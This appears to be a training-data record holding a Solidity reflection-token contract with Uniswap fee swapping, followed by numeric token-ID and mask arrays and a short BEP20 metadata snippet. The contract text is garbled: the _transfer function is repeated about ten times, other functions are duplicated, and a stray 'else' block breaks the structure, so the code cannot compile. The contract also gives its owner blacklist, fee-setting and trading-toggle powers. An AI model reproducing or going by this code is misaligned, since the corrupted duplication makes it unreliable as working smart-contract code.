_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
} else {
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
| 15,400,808 |
[
1,
38,
9835,
30174,
55,
1165,
30174,
8176,
30174,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
415,
7008,
31245,
353,
1772,
16,
467,
654,
39,
3462,
16,
14223,
6914,
288,
203,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
533,
3238,
5381,
389,
529,
273,
315,
4958,
265,
1807,
605,
6909,
14432,
203,
565,
533,
3238,
5381,
389,
7175,
273,
315,
2247,
673,
14541,
7937,
40,
14432,
203,
565,
2254,
28,
3238,
5381,
389,
31734,
273,
2468,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
3238,
389,
86,
5460,
329,
31,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
3238,
389,
88,
5460,
329,
31,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
565,
2874,
12,
2867,
516,
1426,
13,
3238,
389,
291,
16461,
1265,
14667,
31,
203,
565,
2254,
5034,
3238,
5381,
4552,
273,
4871,
11890,
5034,
12,
20,
1769,
203,
565,
2254,
5034,
3238,
5381,
389,
88,
5269,
273,
15088,
380,
1728,
636,
29,
31,
203,
565,
2254,
5034,
3238,
389,
86,
5269,
273,
261,
6694,
300,
261,
6694,
738,
389,
88,
5269,
10019,
203,
565,
2254,
5034,
3238,
389,
88,
14667,
5269,
31,
203,
203,
565,
2254,
5034,
3238,
389,
12311,
14667,
1398,
38,
9835,
273,
404,
31,
203,
565,
2254,
5034,
3238,
389,
8066,
14667,
1398,
38,
9835,
273,
2593,
31,
203,
203,
565,
2254,
5034,
3238,
389,
12311,
14667,
1398,
55,
1165,
273,
404,
31,
203,
565,
2254,
5034,
3238,
389,
8066,
14667,
1398,
55,
1165,
273,
2593,
31,
203,
203,
565,
2254,
5034,
3238,
2
] |
./partial_match/56/0x9120c5cC768EfC5Eb4330C0c4D9610633386c611/sources/YugiXFarming.sol
|
* @dev Optional functions from the BEP20 standard./
|
contract BEP20Detailed is IBEP20 {
string private _name;
string private _symbol;
uint8 private _decimals;
}
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
| 11,049,712 |
[
1,
6542,
4186,
628,
326,
9722,
52,
3462,
4529,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
9722,
52,
3462,
40,
6372,
353,
467,
5948,
52,
3462,
288,
203,
565,
533,
3238,
389,
529,
31,
203,
565,
533,
3238,
389,
7175,
31,
203,
565,
2254,
28,
3238,
389,
31734,
31,
203,
203,
97,
203,
565,
3885,
261,
1080,
3778,
508,
16,
533,
3778,
3273,
16,
2254,
28,
15105,
13,
1071,
288,
203,
3639,
389,
529,
273,
508,
31,
203,
3639,
389,
7175,
273,
3273,
31,
203,
3639,
389,
31734,
273,
15105,
31,
203,
565,
289,
203,
203,
565,
445,
508,
1435,
1071,
1476,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
529,
31,
203,
565,
289,
203,
203,
565,
445,
3273,
1435,
1071,
1476,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
7175,
31,
203,
565,
289,
203,
203,
565,
445,
15105,
1435,
1071,
1476,
1135,
261,
11890,
28,
13,
288,
203,
3639,
327,
389,
31734,
31,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
